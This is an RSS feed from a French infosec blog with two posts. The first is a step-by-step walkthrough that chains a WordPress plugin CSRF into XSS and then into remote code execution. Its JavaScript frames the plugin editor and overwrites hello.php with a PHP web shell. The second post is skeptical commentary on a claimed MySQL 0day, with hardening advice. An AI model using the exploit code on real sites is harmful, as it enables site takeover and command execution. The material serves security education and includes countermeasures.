<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WEBlog de Félix Aimé &#187; shell</title>
	<atom:link href="http://blog.felix-aime.fr/tag/shell/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.felix-aime.fr</link>
	<description>{ OpenSource Intelligence, Information Security, Information Warfare }</description>
	<lastBuildDate>Tue, 31 Jan 2012 20:06:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>D&#8217;une CSRF à un RCE, bienvenue chez Wordpress ! *FEAR*</title>
		<link>http://blog.felix-aime.fr/developpement-web/dune-csrf-a-un-rce-bienvenue-chez-wordpress-fear/</link>
		<comments>http://blog.felix-aime.fr/developpement-web/dune-csrf-a-un-rce-bienvenue-chez-wordpress-fear/#comments</comments>
		<pubDate>Wed, 13 Oct 2010 18:17:05 +0000</pubDate>
		<dc:creator>feu</dc:creator>
				<category><![CDATA[Développement web]]></category>
		<category><![CDATA[Tips&tricks]]></category>
		<category><![CDATA[cross exploitation]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.felix-aime.fr/?p=614</guid>
		<description><![CDATA[Je voulais vous faire un petit article pour vous démontrer la puissance destructrice des vulnérabilités liées aux plugins sur certains CMS. Je me suis donc mis à l&#8217;assaut du grand Wordpress histoire de faire peur dans les chaumières. Au programme aujourd&#8217;hui, comment une extension vulnérable à une attaque par CSRF provocant une XSS peut permettre [...]]]></description>
			<content:encoded><![CDATA[<p>Je voulais vous faire un petit article pour vous démontrer la puissance destructrice des vulnérabilités liées aux plugins sur certains CMS. Je me suis donc mis à l&#8217;assaut du grand Wordpress histoire de faire peur dans les chaumières. Au programme aujourd&#8217;hui, comment une extension vulnérable à une attaque par <acronym>CSRF</acronym> provocant une <acronym>XSS</acronym> peut permettre de backdoorer un script PHP automatiquement. Bienvenue, cher lecteur, dans le monde des &laquo;&nbsp;combos&nbsp;&raquo; de vulnérabilités à la sauce Wordpress.</p>
<p><strong>OK, What&#8217;s the :(){:|:&amp;};: ?</strong></p>
<p>Premier ingrédient, une extension vulnérable. Pour cela, il ne faut pas aller chercher très loin, une simple recherche dans les extensions les plus populaires de Wordpress vous permettra de trouver votre bonheur en <acronym>XSS</acronym>, <acronym>CSRF</acronym> et autres trucs marrants. Perso, j&#8217;ai choisi WP Page Number, car elle est utilisée par beaucoup de blogs *han la-la je fais du full disc*. Cette dernière est vulnérable aux deux failles donc voici comment va se dérouler l&#8217;attaque :</p>
<p>1. Exécution d&#8217;une <acronym>CSRF</acronym> lambda par POST afin d&#8217;exécuter une <acronym>XSS</acronym>.<br />
2. A partir de cette <acronym>XSS</acronym>, réalisation d&#8217;une iframe et exécution d&#8217;un script.<br />
3. Modification des éléments <acronym>DOM</acronym> de la page &laquo;&nbsp;framée&nbsp;&raquo; afin de backdoorer un contenu.<br />
4. Envoi de la soupe avec la fonction &laquo;&nbsp;submit&nbsp;&raquo;.</p>
<p>J&#8217;ai perdu personne ? Bon, passons de la théorie à la pratique.</p>
<p><strong>Step 1. </strong><strong>Mise en place de la première <acronym>CSRF</acronym></strong></p>
<p>Afin de réaliser la première <acronym>CSRF</acronym> en POST, il faut simplement réaliser un petit formulaire qui s&#8217;envoie automatiquement dès que la victime charge la page. Plusieurs techniques sont alors possibles dans les évènements <acronym>DOM</acronym> pour réaliser cela. Perso, j&#8217;ai mon petit faible pour <em>onerror</em> avec une image malle interprétée mais l&#8217;on peut utiliser des <em>onload</em>, <em>onfocus</em> (html5) ou <em>onmouseover</em> et un peu de CSS etc.</p>
<p>Donc on y va ! Un simple <em>form</em> en <em>display:none</em> fera l&#8217;affaire. Exemple :</p>
<blockquote><p>&lt;form action=&#8217; &#8216; method=&#8217;post&#8217; id=&#8217;blop&#8217; style=&#8217;display:none&#8217;&gt;&lt;/form&gt;<br />
&lt;img src=&#8217;x&#8217; onerror=&#8217;blop.submit()&#8217;&gt;</p></blockquote>
<p>Ensuite, on regarde le nombre de champs que possède notre plugin, soit à la main, <span style="text-decoration: line-through;">long et chiant</span>, soit en utilisant Tamperdata. On s&#8217;aperçoit peu après que hô magie, seuls deux champs sont obligatoires. Donc on refait notre super form avec les deux champs et on teste l&#8217;injection de code HTML.</p>
<blockquote><p>&lt;form action=&#8217; [plugin URL]&#8216; method=&#8217;post&#8217; id=&#8217;blop&#8217; style=&#8217;display:none&#8217;&gt;<br />
&lt;input name=&#8217;submitted&#8217; value=&#8217;yes&#8217;&gt;<br />
&lt;input name=&#8217;page_of_page_text&#8217; value=&#8217;&nbsp;&raquo;/&gt;&lt;h1&gt;lol&lt;/h1&gt;&#8217;&gt;<br />
&lt;/form&gt;<br />
&lt;img src=&#8217;x&#8217; onerror=&#8217;blop.submit()&#8217;&gt;</p></blockquote>
<p style="text-align: center;">Et une belle image pour émoustiller le public&#8230;</p>
<p style="text-align: left;"><img class="aligncenter" src="http://img716.imageshack.us/img716/669/imageguv.png" alt="" /><br />
Yes ! It works ! Great. Bon, on passe à des choses un peu plus ardues. Nous avons réalisé l&#8217;exploitation de notre première <acronym>CSRF</acronym> aboutissant à une exécution de code en client side sur le domaine visé. Pour ceux qui ont l&#8217;habitude d&#8217;auditer pour le fun des extensions Wordpress, une grande partie est vulnérable aux <acronym>XSS</acronym> (par exemple, All in one SEO), en ce qui concerne les <acronym>CSRF</acronym>, c&#8217;est un peu plus limité. Cependant, dès que ça l&#8217;est, cela peut faire très mal et c&#8217;est ce que nous allons voir.</p>
<p><strong>Step 2. Contournement des protections anti-<acronym>CSRF</acronym> de WP.</strong></p>
<p>J&#8217;ai commencé cette exploitation en &laquo;&nbsp;backbox&nbsp;&raquo; donc je reste en &laquo;&nbsp;blackbox&nbsp;&raquo;. Dès qu&#8217;on a une <acronym>XSS</acronym> sur un domaine, la plupart des protections anti-<acronym>CSRF</acronym> par token sautent du fait de la possible récupération en Javascript du token permettant de sécuriser la transaction (eh oui, <acronym title="Same Origin Policy">SOP</acronym> n&#8217;est plus d&#8217;aucune utilité). D&#8217;ailleurs, une attaque de type &laquo;&nbsp;<em>Return-to-jQuery</em>&nbsp;&raquo; peut permettre la récupération du token et l&#8217;envoi du formulaire visé en une ligne.</p>
<p>Cependant, face à ce type d&#8217;attaque, Wordpress à l&#8217;air de résister. Je ne suis pas allé dans le code chercher quelle était la fonction qui rendait la tâche plus ardue. Cependant, ma petite idée est simple : anti-<acronym>CSRF</acronym> = (token + contrôle du referer). Pour contourner ce petit problème, j&#8217;ai cherché quelques minutes et j&#8217;ai trouvé, il suffit d&#8217;interagir avec une iframe.</p>
<p>Le concept est simple : on &laquo;&nbsp;frame&nbsp;&raquo; la page contenant le formulaire protégé par token que l&#8217;on veut envoyer, on interagit avec les éléments du formulaire directement à partir de la page parente afin de changer les contenu des inputs et d&#8217;envoyer le tout. Cela permet ainsi de casser la deuxième protection anti-<acronym>CSRF</acronym> liée au referer.</p>
<p><strong>Step 3. Développement de l&#8217;exploit.</strong></p>
<p>Donc c&#8217;est parti ! On crée une nouvelle iframe que l&#8217;on injectera avec du code javascript lors de l&#8217;exécution de notre première <acronym>CSRF</acronym> sur l&#8217;extension vulnérable. Cette iframe devra être composée d&#8217;une simple source. A cette iframe, on ajoute un code Javascript qui réalisera plusieurs choses :</p>
<ul>
<li>Ajout d&#8217;un shell au textarea du formulaire &laquo;&nbsp;framé&nbsp;&raquo;</li>
<li>Changement de l&#8217;attribut &laquo;&nbsp;name&nbsp;&raquo; de l&#8217;input &laquo;&nbsp;submit&nbsp;&raquo;</li>
<li>Lancement de l&#8217;attaque en envoyant le bon formulaire dans le contexte de la page framée.</li>
</ul>
<p>Le code &laquo;&nbsp;final&nbsp;&raquo; de l&#8217;exploitation de la deuxième &laquo;&nbsp;<acronym>CSRF</acronym> protégée&nbsp;&raquo; grâce à une iframe aura donc cette allure :</p>
<blockquote><p>&lt;script&gt;</p>
<p>function exploit(){</p>
<p>var content = frames[0].document.getElementById(&#8217;newcontent&#8217;);<br />
var inputs = frames[0].document.getElementsByTagName(&#8217;input&#8217;);<br />
content.value=&#8217;&lt;?php echo system($_GET["cmd"]); ?&gt;&#8217;;<br />
inputs[7].setAttribute(&nbsp;&raquo;name&nbsp;&raquo;,&nbsp;&raquo;");<br />
frames[0].document.forms[1].submit()&#8217;;</p>
<p>}<br />
&lt;/script&gt;</p>
<p>&lt;body onload=&#8217;javascript:exploit()&#8217;&gt;&lt;/body&gt;<br />
&lt;iframe src=&#8217;[URL]/plugin-editor.php?plugin=hello.php&#8217; width=&#8217;0&#8242; height=&#8217;0&#8242;&gt;</p></blockquote>
<p>Quelques explications peuvent être utiles face à ce petit bout de code. Tout d&#8217;abord, il remplace le contenu du <em>textarea</em> contenant le code source du plugin <em>hello.php</em> par un shell. Ensuite, il récupère l&#8217;élément <em>submit</em> avec lequel on veut interagir et enlève son nom. Pourquoi ? Je ne le sais pas, apparemment le moteur <acronym title="Javascript">JS</acronym> aime pas lorsque deux éléments ont le même nom sur une page, donc j&#8217;ai trouvé cette unique solution. Ensuite, nous voulons envoyer le formulaire donc il nous faut faire exécuter par le deuxième formulaire une simple fonction <em>submit()</em>.</p>
<p>Voilà, à partir de là, vous avez juste à rendre le code peu portable le code pour lui permettre de bypasser des protections telles que les magic_quotes et de le lier avec ce qu&#8217;il a été fait à l&#8217;étape 1 (je ne vais pas tout vous donner sur un plateau). Pour information, si j&#8217;ai mis une deuxième balise <em>body</em>, c&#8217;est simplement pour exécuter automatiquement le script exploit (les évènements concurrents <acronym>DOM</acronym> du style &laquo;&nbsp;onerror&nbsp;&raquo; ne fonctionnant pas).</p>
<p>Évidemment, j&#8217;ai pris Wordpress, car cela était un cas assez intéressant, mais nous aurions pu prendre d&#8217;autres CMS, les plugins vulnérables développés par des &laquo;&nbsp;amateurs&nbsp;&raquo; ce n&#8217;est pas ce qui manque sur l&#8217;internet.</p>
<p><strong>Step 4. Contre-mesures.</strong></p>
<p>Afin de contrer ce type de menaces, plusieurs contre mesures peuvent être mises en place. Tout d&#8217;abord, limiter le nombre d&#8217;extensions au strict nécessaire. De plus, un WAF/IDS (mod_security, phpids etc.) sympa pourrait permettre de limiter ce type de désagréments même si, configuré par défaut, il limitera l&#8217;édition d&#8217;articles et de pages sur votre blog. Enfin, rien ne vaut un bon Noscript afin de limiter l&#8217;exécution de codes malveillants en client side.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.felix-aime.fr/developpement-web/dune-csrf-a-un-rce-bienvenue-chez-wordpress-fear/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Un sploit en remote pour MySQL 5 ?!</title>
		<link>http://blog.felix-aime.fr/securite-des-systemes-dinformation/un-sploit-en-remote-pour-mysql-5/</link>
		<comments>http://blog.felix-aime.fr/securite-des-systemes-dinformation/un-sploit-en-remote-pour-mysql-5/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 22:27:53 +0000</pubDate>
		<dc:creator>feu</dc:creator>
				<category><![CDATA[Sécurité des systèmes d'information]]></category>
		<category><![CDATA[chroot]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[port]]></category>
		<category><![CDATA[remote]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[vulnérabilité]]></category>

		<guid isPermaLink="false">http://blog.felix-aime.fr/?p=400</guid>
		<description><![CDATA[Le 4 janvier surgissait sur l&#8217;internet une vidéo montrant un exploit tournant avec le framework CANVAS d&#8217;Immunity permettant l&#8217;ouverture d&#8217;un shell en remote sur MySQL 5.x selon la description de l&#8217;exploit montrée pendant cette vidéo.
Outre le fait que ce dernier est un 0day, cet exploit risque de faire très mal tant pour l&#8217;image de la [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.felix-aime.fr/pics/mysql.jpg" style="float: left; margin: 6px 6px 6px 0;" alt="logomysql" />Le 4 janvier surgissait sur l&#8217;internet <a href="http://tinyurl.com/ykdzyt8">une vidéo</a> montrant un exploit tournant avec le framework CANVAS d&#8217;<a href="http://www.immunitysec.com">Immunity</a> permettant l&#8217;ouverture d&#8217;un shell en remote sur MySQL 5.x selon la description de l&#8217;exploit montrée pendant cette vidéo.</p>
<p>Outre le fait que ce dernier est un 0day, cet exploit risque de faire très mal tant pour l&#8217;image de la firme MySQL que pour les millions de serveurs faisant tourner ce service ouvertement sur l&#8217;internet sans aucune protection particulière dans les restrictions d&#8217;accès ou le cloisonnement du processus.</p>
<p>Bref, qu&#8217;en est-il vraiment ? A mon avis, je pense de plus en plus à une vraie vidéo, mais je doute de plus en plus d&#8217;un vrai exploit. Quelques les éléments ci-dessous me sifflent dans l&#8217;oreille :</p>
<p>- Le site internet est très -trop &#8211; basique, le blog aussi pour tout vous avouer. Cependant, un <a href="http://whois.domaintools.com/intevydis.com">whois</a> sur ce dernier montre que le nom de domaine n&#8217;est pas récent comme on pourrait le penser. Mais un <a href="http://web.archive.org/web/*/http://www.intevydis.com">internet archive</a> ne trouve rien.</p>
<p>- La société qui possède <a href="http://www.google.fr/search?q=intevydis">5000 résultats de recherches sur Google</a> prétend sur le <a href="http://tinyurl.com/ygoxwf2">forum d&#8217;Immunity</a> vendre un de ses packs d&#8217;exploits 250$, cela fait très &#8211; trop &#8211; peu pour des possibles 0 Days, surtout de cette envergue. Elle a semble-il découverte la vulnérabilité en Aout, pourquoi pendant tout ce temps, elle n&#8217;a (semble-t-il &#8211; là encore) prévenu MySQL de cette brèche ?</p>
<p>- Nous connaissions déjà certaines possibilités de mise en place de portes dérobées sur des serveurs MySQL telles que le tool <a href="http://www.edge-security.com/docs/mysql_backdoors.pdf">Raptor</a> qui permettait d&#8217;ouvrir un shell sur un MySQL disposé sur Windows &#8211; ou par l&#8217;intermédiaire d&#8217;SQL injections sur un serveur web, encore fallait-il que le serveur MySQL tourne sur ce précédent serveur et que les droits UNIX soient bafoués pour que cela marche. Cependant, avec cette vidéo, on peut penser que l&#8217;exploit ne requiert pas d&#8217;authentification sur le serveur visé ou même un support/module de MySQL installé. D&#8217;ailleurs, j&#8217;aime le &laquo;&nbsp;Note &#8211; the exploit has been edited to be less verbose.&nbsp;&raquo; <a href="http://fr.wiktionary.org/wiki/what_the_fuck">#WTF</a>.</p>
<p>- Vous avez entendu parler un week of data base bugs prochainement ? Perso NaN. Dans les commentaires du blog ils prétendent démontrer la vulnérabilité durant cette semaine&#8230; j&#8217;aimerai bien savoir si quelqu&#8217;un à des infos, bizarrement, Google n&#8217;en a pas non plus. Normal, ce sont &laquo;&nbsp;eux&nbsp;&raquo; qui &laquo;&nbsp;les&nbsp;&raquo; organisent (sachant qu&#8217;il y a qu&#8217;un russe dernière cette société)&#8230;</p>
<p>Bref, je reste très septique sur cette vulnérabilité et je pense que &#8211; si elle existe &#8211; elle n&#8217;est pas effective sur une installation par défaut de MySQL. Entre 0 et 10 sur le point de la crédibilité, je mettrai 3, pas plus. Cependant, si elle existe bien et qu&#8217;elle est possible sur une installation par défaut &#8211; il y en a qui voient la vierge partout depuis que des vulnz en remote ont été découvertes sur OBSD ; il faudra faire quelques mises à jour ou appliquer quelques sécurités supplémentaires telles que :</p>
<p>- La définition des droits d&#8217;accès à MySQL afin que seuls certains hosts puissent s&#8217;y connecter (ce qui d&#8217;ailleurs devrait être <strong>toujours</strong> fait). Non seulement au point de vue de l&#8217;authentification de <del datetime="2010-01-07T20:42:05+00:00">certains</del> l&#8217;ensemble des utilisateurs dans la configuration des users de MySQL que de l&#8217;accès au serveur devant être régit par un FW.</p>
<p>- <a href="http://www.cgsecurity.org/Articles/mysql.html">Chrooter de processus</a> afin qu&#8217;une possible ouverture de shell ne puisse pas aboutir à de plus amples dégâts tels que de rooting de la Box ou la découverte de la topologie du réseau (de la DMZ) distant(e).</p>
<p>- Et enfin, le changement du port par défaut de MySQL (3306) afin d&#8217;éviter les bots et diverses attaques automatisées sur des comptes si ce serveur est accessible à partir de l&#8217;Internet. Cependant, cette protection ne sert à rien si le pirate a déjà sous son emprise le client se connectant sur le serveur. #FAIL</p>
<p>Bref, l&#8217;attente est la conclusion de cet article. Dans quelques jours nous serons fixés sur cette affaire même si à mon avis, nous aurons déjà oublié cet épisode dont la véritable finalité était de vendre quelques packs d&#8217;exploits exploitant des vulnérabilités se revendiquant critiques alors qu&#8217;il n&#8217;en est rien.</p>
<p>NB : Après la re-visualisation de la vidéo, je me suis aperçu d&#8217;un &laquo;&nbsp;req #1, req #2&#8243; pendant l&#8217;exécution de l&#8217;exploit. Cela laisserait donc suggérer qu&#8217;il faut être authentifié auprès du serveur MySQL afin d&#8217;ouvrir un shell sur la BOX. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.felix-aime.fr/securite-des-systemes-dinformation/un-sploit-en-remote-pour-mysql-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

